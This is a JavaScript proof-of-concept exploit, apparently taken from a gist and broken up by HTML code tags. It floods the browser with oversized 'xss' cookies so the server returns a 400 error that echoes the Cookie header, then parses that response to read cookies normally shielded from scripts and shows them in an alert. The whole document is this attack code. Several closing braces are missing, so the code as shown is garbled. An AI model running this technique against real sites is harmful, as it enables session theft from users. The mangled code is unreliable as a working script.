<code>// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08</code>
<code>// Most browsers limit cookies to 4k characters, so we need multiple</code>
<code>function setCookies (good) {</code>
<code> </code><code>// Construct string for cookie value</code>
<code> </code><code>var str = "";</code>
<code> </code><code>for (var i=0; i<</code><code>819</code><code>; i++) {</code>
<code> </code><code>str += "x";</code>
<code> </code><code>}</code>
<code> </code><code>// Set cookies</code>
<code> </code><code>for (</code><code>i</code>
<code>=</code><code>0</code><code>; i < 10; i++) {</code>
<code> </code><code>// Expire evil cookie</code>
<code> </code><code>if (good) {</code>
<code> </code><code>var</code><code>cookie</code> <code>=</code><code>"xss"</code><code>+i+"=;</code><code>expires</code><code>=</code><code>"+new Date(+new Date()-1).toUTCString()+"</code><code>; path=/;";</code>
<code> </code><code>}</code>
<code> </code><code>// Set evil cookie</code>
<code> </code><code>else {</code>
<code> </code><code>var</code><code>cookie</code> <code>=</code><code>"xss"</code><code>+i+"="+str+";path=/";</code>
<code> </code><code>document.cookie</code>
<code>= cookie;</code>
<code>}</code>
<code>function makeRequest() {</code>
<code> </code><code>setCookies();</code>
<code> </code><code>function parseCookies () {</code>
<code> </code><code>var cookie_dict = {};</code>
<code> </code><code>// Only react on 400 status</code>
<code> </code><code>if (xhr.readyState === 4 && xhr.status === 400) {</code>
<code> </code><code>// Replace newlines and match <pre> content</code>
<code> </code><code>var content = xhr.responseText.replace(/\r|\n/g,'').match(/<</code><code>pre</code><code>>(.+)<\/pre>/);</code>
<code> </code><code>if (content.length) {</code>
<code> </code><code>// Remove Cookie: prefix</code>
<code> </code><code>content = content[1].replace("Cookie: ", "");</code>
<code> </code><code>var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);</code>
<code> </code><code>// Add cookies to object</code>
<code> </code><code>for (var i=0; i<cookies.length; i++) {</code>
<code> </code><code>var s_c = cookies[i].split('=',2);</code>
<code> </code><code>cookie_dict[s_c[0]] = s_c[1];</code>
<code> </code><code>}</code>
<code> </code><code>}</code>
<code> </code><code>// Unset malicious cookies</code>
<code> </code><code>setCookies(true);</code>
<code> </code><code>alert(JSON.stringify(cookie_dict));</code>
<code> </code><code>// Make XHR request</code>
<code> </code><code>var xhr = new XMLHttpRequest();</code>
<code> </code><code>xhr.onreadystatechange = parseCookies;</code>
<code> </code><code>xhr.open("GET", "/", true);</code>
<code> </code><code>xhr.send(null);</code>
<code>makeRequest();</code>